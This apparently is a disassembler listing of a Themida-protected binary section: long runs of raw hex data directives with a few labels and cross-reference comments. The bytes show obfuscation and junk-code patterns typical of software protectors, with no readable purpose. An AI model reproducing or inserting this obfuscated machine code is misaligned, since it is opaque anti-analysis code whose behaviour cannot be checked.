dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 890E17C3h, 0E21EE59Dh, 559D8D05h, 8905E215h
dd 0E21B5195h, 0FF238105h, 29FFFFFEh, 0E222FD95h, 0DB8C6605h
dd 29A1B58Bh, 0C3F605E2h, 3F840F04h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0AF20C350h, 1DEDB58Bh, 0BE6605E2h, 0BD8BDD2Eh, 5E217A1h
dd 162195FFh, 0BF0F05E2h, 48950F2h, 9C07BE24h, 17E92B83h
dd 2B000004h, 0E22B35BDh, 0E900B005h, 5, 0DE030509h, 6070E6CDh
dd 0E9DEE080h, 6, 0EE801345h, 0E461D9F6h, 52006A71h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0AF9BA7CFh, 86F5F6D2h, 0B60FF18Bh, 0F3B70FD8h, 6BAh
dd 6AC38B00h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 101C350h, 0F560FAA9h, 64D8589h
dd 0E86105E2h, 0Dh, 0CEA99DADh, 0CB8713F2h, 6D39A79Dh
dd 0DE90Bh, 0E2290000h, 8873D21Ah, 0A94DAB93h, 5F7CDBDEh
dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 6629C353h, 66162BBEh, 0F60E2F7h
dd 38Fh, 0C38B6600h, 0EE9h, 62537800h, 538C51DDh, 760F6A56h
dd 610DA97Ah, 0B589D82Bh, 5E21C55h, 241C8950h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 86C35343h, 5E3B1B99h
dd 816651E7h, 5E1E40CFh, 2121B5FFh, 830F05E2h, 6, 33459589h
dd 95FF05E2h, 5E20AB9h, 0C85BD8Bh, 0B005E2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8CC35040h, 6660BC8Ch
dd 61FCC38Bh, 0D7E78166h, 6A70E6A8h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7765C351h
db 0C3h, 1Eh
word_52FD5A dw 2AC0h ; DATA XREF: Themida_:004EE19Co
dd 8BE97552h, 0E20E31BDh, 0E1BD8B05h, 0E405E224h, 57006A71h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8D892EFCh, 5E23081h, 3011B58Bh, 613C05E2h, 24C830Fh
dd 0B60F0000h, 51B58BD8h, 8905E21Bh, 0E2177DB5h, 6BA05h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 5BA5ABC3h, 0BF1EBA4Ch, 59FBEF3Fh, 6AC38Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 6ABCE8C3h, 0DD8D09EDh, 0C105E22Ch, 6A04E8h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 4F7B62C3h, 66FA8B09h, 5E57E2F7h, 6AD82Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 430549C3h
dd 13955837h, 51BE6610h, 0F28B5812h, 880FD82Bh, 18Eh, 13E8h
dd 85B9CC00h, 633BAEA4h, 0EC5E1E99h, 0DB0591EDh, 0C44E90DDh
dd 171DBD8Bh, 0E95E05E2h, 5, 0AAF5C23Eh, 7B904h, 8D890000h
dd 5E21A01h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 3B9BC353h, 33860FD9h
dd 0E8000001h, 7, 35C98645h, 0E9859BB5h, 9, 0A255890Eh
dd 0F7A4EC67h, 8C665E39h, 52006AD9h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AF3C5C47h
dd 0ADD8529h, 958905E2h, 5E20ABDh, 0F04C1F6h, 0DE84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 5CE07409h, 0B5099C07h, 5E2096Dh, 162195FFh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0F5BCEC3h, 58Ah, 0A915BF00h, 0C32B79FFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 58C35242h, 0CF81F4B6h
dd 36B872Bh, 8343Dh, 58860F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E6B5C355h
dd 8969AD5Ch, 0E22D05BDh, 30E905h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0CE9F91C3h
dd 5E848h, 5BA90000h, 66120070h, 8B5EF18Bh, 0C38BF9C0h
dd 6AD88Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0D7B731C3h, 1B8A4EBEh, 8B66C832h, 85C7F5F3h
dd 5E200DDh, 1FEF77F5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0A2C35545h, 38BB5662h, 6DD7FCCAh, 26A9B58Bh
dd 8D2905E2h, 5E229C5h, 5E9h
db 0
byte_530055 db 12h, 0DBh, 70h ; DATA XREF: ___:off_42CC84o
; ___:off_42CC9Co
aAelJ db '€e‹Àj',0
dw 0E857h
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E8C35747h, 0AD642B7Ah
dd 45685121h, 0C4BE6684h, 958951E9h, 5E231C5h, 21BD815Eh
dd 0D005E221h, 0F000007h, 2E85h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0EF22E261h
dd 46F78166h, 2185FFB2h, 6605E221h, 0FFDAEEBFh, 0E22121B5h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 83D80CB2h, 2C6DB589h, 95FF05E2h, 5E20AB9h
dd 7E96050h, 24000000h, 3AFF272h, 61F9BAC8h, 6A905Eh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 10E88FC3h, 5A000000h, 8979F088h, 0AA5D1C9Eh, 0F0367D3Ch
dd 8B7C1E87h, 8B5EF5F8h, 8820FF7h, 81000000h, 553F42D6h
dd 51FA8B66h, 31BD8B53h, 6605E22Bh, 5F52C1BEh, 56006A5Fh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 54DCF61h, 59DC088Fh, 1852988h, 0F05E218h, 1386h, 0D59D8900h
dd 0F05E210h, 785h, 8E0F00h, 0F8000000h, 6AF0BF0Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0C01CC356h, 9159938h, 0B70FF0F0h, 0EE852F8h, 97000000h
dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 5FFA8B76h, 2191BF66h
dd 7D8D895Fh, 0E905E229h, 8, 4EAFC768h, 0AD3BE069h, 21C18501h
dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 3198A2C3h, 0B665E681h, 890F0DF1h, 0Ch, 68B0Fh
dd 9D310000h, 5E21EBDh, 0FFF78DE9h, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 96F32AE3h
dd 667C6CB1h, 0BFB436BFh, 252948B8h, 0B58BC18Bh, 5E2041Dh
dd 4EBh, 860F0000h, 6, 10D59589h, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DC24C4C3h
dd 22188F95h, 0E91858Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 1BC29CC3h, 0F7247DCAh
dd 0CF4029BEh, 7166BE0Dh, 6690058Ch, 5061E7BFh, 0C57D55BFh
dd 0AE99051h, 9D000000h, 0B5632F1h, 6346E4A4h, 6A006A7Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0D868C357h, 298E516Fh, 0E21F9195h, 0F006A05h
dd 858DFAB7h, 5E62780h, 68B0F56h, 81000000h, 97F701EFh
dd 0BF665F44h, 0C083F050h, 8D8B6005h, 5E22FFDh, 31058D89h
dd 906105E2h, 1104BE66h, 840F50h, 90000000h, 0CADB52Bh
dd 9D3105E2h, 5E23155h, 8150006Ah, 1074AFF6h, 6A5F17h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CFC35545h
dd 92AC46D7h, 7BA643BEh, 0ECEE81C3h, 0F543406h, 68Dh, 95B58B00h
dd 0FF05E20Ah, 0E21E2D95h, 0BD8B5105h, 5E20EB1h, 14E85Fh
db 2 dup(0)
word_5303B6 dw 5CC7h ; DATA XREF: Themida_:004EFC80o
dd 0EA599EBCh, 15B3C6B7h, 0B93E092Bh, 0A42F34F7h, 8D5F05C8h
dd 0E59D809Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 7EEED8B1h, 0FFEAE3A8h
dd 0BE6660D3h, 0B5899748h, 5E21851h, 89B58B61h, 0FF05E232h
dd 0E2232985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 6047B113h, 405A6366h
dd 59B589C4h, 0E905E211h, 8C6h, 0E8h, 0ED815D00h, 5E6278Ah
dd 8E9h, 16101E00h, 8B2923B2h, 0AE9C6h, 0B7810000h, 0AFCF73A7h
dd 0CA892D06h, 2121BD81h, 7D005E2h, 860F0000h, 184h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2CC35646h, 0E366E0DEh
dd 0C19D8B88h, 6A05E204h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F71C352h, 682h, 2BE78100h
dd 81502178h, 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0FDB0B53h, 0CC85h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 632C14Eh, 0CE8h, 2C696200h, 37F50ACh, 0E9D26898h, 85895E0Eh
dd 5E20A91h, 25BBBD83h, 0F0005E6h, 3D84h, 0D6E78100h, 0E9164130h
dd 8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
dd 0FEC35242h, 0EC9E1995h, 0E9EC472Dh, 0Ah, 43FD1972h
dd 838803EFh, 85C755E0h, 5E625BBh, 1, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 68E000AEh, 0FE9C60Ah
dd 82000000h, 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh, 16E96A22h
dd 89000000h, 0E2089D95h, 0BB85C705h, 5E625h, 8B000000h
dd 0E200A9B5h, 0C19D8D05h, 8105E204h, 0FFFEFF23h, 52006AFFh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0F10D72E1h, 0A1A5A902h, 6ADB8C66h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 9BDC357h
dd 0BEBB3CE8h, 4C3F6CAh, 5C840Fh, 0BE660000h, 5E9C883h
dd 4F000000h, 0F14443E4h, 162195FFh, 8D0905E2h, 5E20AF5h
dd 8B666090h, 0E85061D0h, 13h, 0C7FDB59Fh, 7C8C66Ah, 446DA8B8h
dd 449F676Bh, 0E94EA91Dh, 14h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch
dd 0B7A1F999h, 20E5D647h, 960905Fh, 0E2332595h, 0ECE96105h
dd 8B000003h, 0E20119BDh, 6A00B005h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7DFCC355h
dd 2AA59876h, 0FC274E45h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0B65627C3h, 99BD8BAAh
dd 0E405E221h, 52006A71h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0D8B60F1Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F7C35646h, 0DFBF554Fh
dd 0BA38F169h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 32C35747h, 0BF0F53D7h, 1C38BF1h, 0E20B6D85h, 4E8C105h
dd 2FA58D89h, 0F76605E2h, 0F1BF0FE2h, 6AD82Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0A61EF1C3h, 66C4E928h, 93A680BFh, 6A9350h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 21E551C3h
dd 6E9h, 2CB2600h, 0FF2C900Bh, 0E22121B5h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0FB707CD6h, 29362C6Bh, 0E20569BDh, 0B995FF05h, 8B05E20Ah
dd 0E2177DBDh, 0F00B005h, 68Dh, 9DB58900h, 0E605E21Ch
dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 7292B881h, 0BE923EC0h, 15A968B3h, 11E8h
dd 0C0C0D400h, 0CC3D65FCh, 1A995766h, 9A483CA7h, 0E45EB6DFh
dd 28B0F71h, 8B000000h, 6820FF0h, 3000000h, 0E21115BDh
dd 0F613C05h, 21E83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0B48CA4B3h, 4AE17BDh
dd 0BD094D5Bh, 5E22311h, 89D8B60Fh, 0E2100D8Dh, 0F7B70F05h
dd 6BAh, 0C59D8900h, 8B05E203h, 51006AC3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 83CE71Bh, 19319589h
dd 0E8C105E2h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 936CEED6h, 0B2A13AAFh
dd 498D8954h, 6605E21Ch, 8B66E2F7h, 8BD82BF9h, 0EDBD89FEh
dd 5805E205h, 5E9h, 9EC76100h, 0D82B43F2h, 165880Fh, 0DE90000h
dd 0F3000000h, 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h, 7B9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 830811A8h, 9D0100C1h, 5E22525h, 860FD93Bh
dd 11Fh, 1FB5BD8Bh, 8C6605E2h, 50006AD9h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 81EBD824h
dd 0C03BFDFh, 11B0605Bh, 8E8h, 0BE851B00h, 37E4836Ch, 659D2BC3h
dd 5905E22Ch, 4C1F661h, 0AF840Fh, 0B58B0000h, 5E22D61h
dd 162195FFh, 665B05E2h, 2BD874BFh, 51006AC3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0BF21D3A6h
dd 0A660983h, 5EE8166h, 8343D60h, 860F0000h, 69h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D8C35545h, 13E806h
dd 4EAB0000h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h
dd 39B58BDDh, 5F05E225h, 559B58Bh, 44E905E2h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 3F27C355h, 2AD753BBh, 6AC08B9Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0AEDCC353h, 8BF907C3h, 6AD88BC3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C23FC356h
dd 8DD63F2Ch, 2CDABF3Eh, 0BD8B7891h, 5E215B9h, 155585C7h
dd 0D73F05E2h, 6A1657h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0EAAD8FC3h, 9E93243h, 94000000h
dd 0F7836DE1h, 0D50A814Eh, 0BD23C08Bh, 5E209D1h, 2121BD81h
dd 7D005E2h, 850F0000h, 4Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0E2C35646h, 2185FFFCh, 6A05E221h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0DDE9C352h, 8B948666h, 81660403h, 0FF5424CEh
dd 0E22121B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0E1BFCF83h, 0E681F9A6h
dd 76878D14h, 0F6816650h, 0FF5EA5EDh, 0E20AB995h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 6FE55FBDh, 0F58589E4h, 9005E22Bh, 30719531h, 0E8FC05E2h
dd 13h, 0F4BC92CAh, 0A60DB904h, 0C858949Dh
dd 779422F9h, 893CD558h, 0E210C19Dh, 5FFE8B05h, 6AF0BF0Fh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0CFE0C351h, 17C6B960h, 0BD891CC6h, 5E2040Dh
dd 3DB58961h, 6605E205h, 0F052E681h, 0F6B70FF9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 0C9B58B4Ah
dd 6005E224h, 58E0FF9h, 66000000h, 0D252E181h, 0B72FD981h
dd 8B614CEAh, 0E22D7DBDh, 0B2F78105h, 6A22ECBDh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0E1F9C351h, 0E8F5F418h, 11h, 566E7EBCh, 0D18FC45Fh
dd 0B61B8ED8h, 59507625h, 0E9F98B64h, 13h, 19406561h, 23C32A93h
dd 0FB039008h, 53B1277Ch, 5F852A65h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 188A0DD5h, 0BD8B4B57h
dd 5E2077Dh, 27890Fh, 14E80000h, 0FF000000h, 38574F29h
dd 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 5061E206h, 0F7B70F5Fh
dd 0B70F515Eh, 0F8BF0FF7h, 8153565Eh, 2A499DCEh, 0E95F5F5Dh
dd 0FFFFF740h, 0A61BD89h, 6A6005E2h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F7A4C350h
dd 66DD9D39h, 0F980DF81h, 0FEB9FA8Bh, 6AFFFFFFh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0F061C353h, 95BC23BEh, 21F38B2Ah, 0E21BF58Dh, 7D8D2905h
dd 2105E204h, 0E20B5D8Dh, 0D2816605h, 8D8BFF10h, 5E21BF5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EFC35747h
dd 0E5D48F01h, 1E18376h, 34850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E70E2AC3h
dd 0D82BDEB9h, 5E952h, 37D80000h, 584C7057h, 81D9D89h
dd 8D8B05E2h, 5E20B5Dh, 13E9h, 857C2100h, 6471F949h, 69185C83h
dd 0D619DDDAh, 0FC2DCBF7h, 0F01E183h, 0B85h, 0EE816600h
dd 0BD294352h, 5E218D1h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 67C4CC3h, 8177032Ch
dd 0FFFEB991h, 8E8FFFFh, 83000000h, 0A7559CBDh, 8BB97EE1h
dd 0E2242195h, 8D215B05h, 5E209F9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 55C35141h, 66657F62h, 7B47DE81h
dd 9498D89h, 8D2105E2h, 5E204C1h, 31D5B58Bh, 8D8B05E2h
dd 5E209F9h, 83C68B66h, 850F01E1h, 2Ah, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 66C35747h, 0BD8B1195h
dd 5E22BF5h, 0A558529h, 8D8B05E2h, 5E204C1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1EC35747h, 81663327h
dd 83E666C6h, 850F01E1h, 6, 1A799D8Bh, 606105E2h, 6870Fh
dd 0CA810000h, 9857195h, 0FFFFFEB9h, 12E9FFh, 0C1540000h
dd 383B2DF8h, 58922E4Ah, 0D6C919E6h, 43927B27h, 218D8D21h
dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0D2FB09C3h, 15BD9529h, 8D2105E2h, 5E21CDDh
dd 19B98589h, 8D8B05E2h, 5E2218Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0EDC35545h, 74238F26h, 1E18302h
dd 6850Fh, 0BD010000h, 5E21FC9h, 1CDD8D8Bh, 0E18305E2h
dd 0C850F01h, 0F000000h, 688h, 8C0F00h, 61000000h, 53006A60h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 1A5F6C5Ah, 8D31F98Bh, 5E2221Dh, 0FFFFFEB9h, 57006AFFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 8D9EA03h, 0DAE890BBh, 0DD8D216Ah, 905E200h, 0E223198Dh
dd 558D2105h, 6A05E215h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 8B59C352h, 0E200DD8Dh
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0E1836057h, 20850F01h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0AF3C356h, 8BFE8BFFh, 0E215558Dh, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A8BC46E7h
dd 81E06F61h, 12E8h, 7782F100h, 48896B86h, 2CB2621h, 0E52C900Bh
dd 0FC3F21Eh, 68Dh, 298D2900h, 5E05E209h, 0F01E183h, 1385h
dd 0EE900h, 5E700000h, 2D72C18Eh, 538D7D7Dh, 0B4753F21h
dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 746E6CC3h, 0F377D6Fh, 85C7C6B7h, 5E22121h
dd 7D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 66C35343h, 0FD96B36h, 6A61D7BFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BFB8C356h
dd 57C6A71Fh, 9D6107EBh, 0E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0BA6FDBBFh
dd 1B2D585Fh, 85017A6Fh, 5E20A89h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 98C35242h, 0BD891AE3h, 5E20C15h
dd 0BAC18Bh, 81F008F0h, 0EAh, 14C283F0h, 21319589h, 0EA8305E2h
dd 91858D14h, 5005E635h, 35FF64h, 64000000h, 2589h, 0E80000h
dd 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h
dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h
dd 0C88BFFFFh, 2A958589h, 400305E2h, 50B70F3Ch, 3D958906h
dd 8B05E214h, 95895050h, 5E21811h, 0F805h, 0C508B00h, 9589D103h
dd 5E20E99h, 89085003h, 0E2101595h, 58F6405h, 0
dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
dd 59000010h, 83C3C033h, 0E21CA1BDh, 840F0005h, 24h, 0A4985C6h
dd 684705E2h, 0D49AA7D2h, 16A1B5FFh, 858D05E2h, 5E57A61h
dd 6AD0FFh, 8589D0FFh, 5E232A9h, 10E8D38Bh, 0F3000000h
dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0E90D78D3h, 10h, 575AF808h
dd 0C3790A1Dh, 0D1869D78h, 9C1ACC71h, 0DE95Ah, 59E10000h
dd 0C53FB1DBh, 9CE7BBF3h, 817A3667h, 6F59C2h, 38E0F00h
dd 0F000000h, 0FF2BF7B7h, 0EE9h, 5ACD2B00h, 570D500Ah
dd 1ACF3866h, 8B3186FDh, 0D6B43A1Ch, 0C2FAF381h, 82B13EDCh
dd 0C225C381h, 0CF8B5A23h, 8A02EB81h, 0E8604E99h, 11h
dd 33A553F1h, 0E45EA66Ch, 0F657DD60h, 64C426A0h, 0D9B70FB4h
dd 12E858h, 900E0000h, 2668DCE9h, 0C615749Ch, 0DA213421h
dd 43D7A225h, 8153615Ah, 75AB66D6h, 3A048F0Eh, 0F7E18050h
dd 8159B458h, 2B0A3AEFh, 81CF8B46h, 2B0A36C7h, 0FF81FC46h
dd 0FFFF91C8h, 35850Fh, 60600000h, 10E8h, 0BCD6FC00h, 0F3A513D8h
dd 0DF672B9Bh, 0CFF00E3Dh, 8B665862h, 8B6661F2h, 29E961DAh
dd 71000000h, 0D93A7796h, 63EF2378h, 1C10042Dh, 0E86F880Fh
dd 6, 0B022FD5Eh, 5EFCC1C8h, 0FFFF3EE9h, 8FF4E5FFh, 0B1487981h
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 8B3DB5AAh, 5AF681C0h, 8313B6B8h, 0E21EA9BDh
dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 438B8C0h
dd 85890000h, 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh
dd 5E21805h, 50177400h, 438B853h, 85890000h, 5E2315Dh
dd 0AFE99D8Dh, 0D3FF05E4h, 6A585Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BE4649C3h
dd 73687FAFh, 23518501h, 8B6605E2h, 51006AF7h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0BB36B68Ah
dd 2A69BD31h, 0C08B05E2h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 39C35141h, 0FD8D8999h, 0E805E22Fh, 9C1h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F1C35040h
dd 456AE418h, 0E8503E8Eh, 14h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h
dd 6A5A2D11h, 392BA5FBh, 1F04B966h, 7E9605Eh, 7A000000h
dd 4EA00E6Dh, 99B8EAD4h, 6169A564h, 18ED8589h, 6A05E2h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8D894AC3h, 5E21BF9h, 3890Fh, 0BF0F0000h, 937E8C8h, 0BE80000h
dd 61000000h, 81FA897Dh, 2725613Eh, 73B9B280h, 5F55DA5Ch
dd 10E58589h, 0B50905E2h, 5E20A9Dh, 910E8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 89604FBBh, 0E232D1B5h, 85896105h, 5E21FD9h, 1145B589h
dd 0DAE805E2h, 6A000008h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0C110C352h, 0EC04399Ch
dd 6D150533h, 0D6D78166h, 6185893Ch, 6A05E223h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 872FC351h, 26198D89h, 840F05E2h, 0Fh, 0AE9h, 9F9BB700h
dd 108B9368h, 0E887F4FDh, 86Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 6C35646h, 770A5B3Bh, 0BD2960FEh
dd 5E21539h, 0E31858Bh, 896105E2h, 0E2065985h, 0B1BD8905h
dd 0E805E22Fh, 82Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 64C35242h, 10E098CBh, 89053BB8h, 0E226719Dh
dd 5D858905h, 6A05E232h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0B72C357h, 0BD8B65A0h
dd 5E20725h, 5E956h, 0C3550000h, 5FFB4B34h, 7C8E8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 57B59998h, 666F4C1Eh, 0F315C681h, 1CD18589h, 0BD8B05E2h
dd 5E2153Dh, 10E9h, 10758300h, 6D910527h, 0A5B41433h, 3AF8680Eh
dd 77BE8C4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 4FE57FC3h, 0ED646B53h, 21FD8589h
dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0D93EAC3h, 0D217F168h, 0A1B58B0Eh, 0E805E213h
dd 725h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0E7C35545h, 89B393D0h, 0E21E899Dh, 0B4C2BF05h
dd 85891698h, 5E23249h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0F6C35242h, 0D2E8F37Bh, 6A000006h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
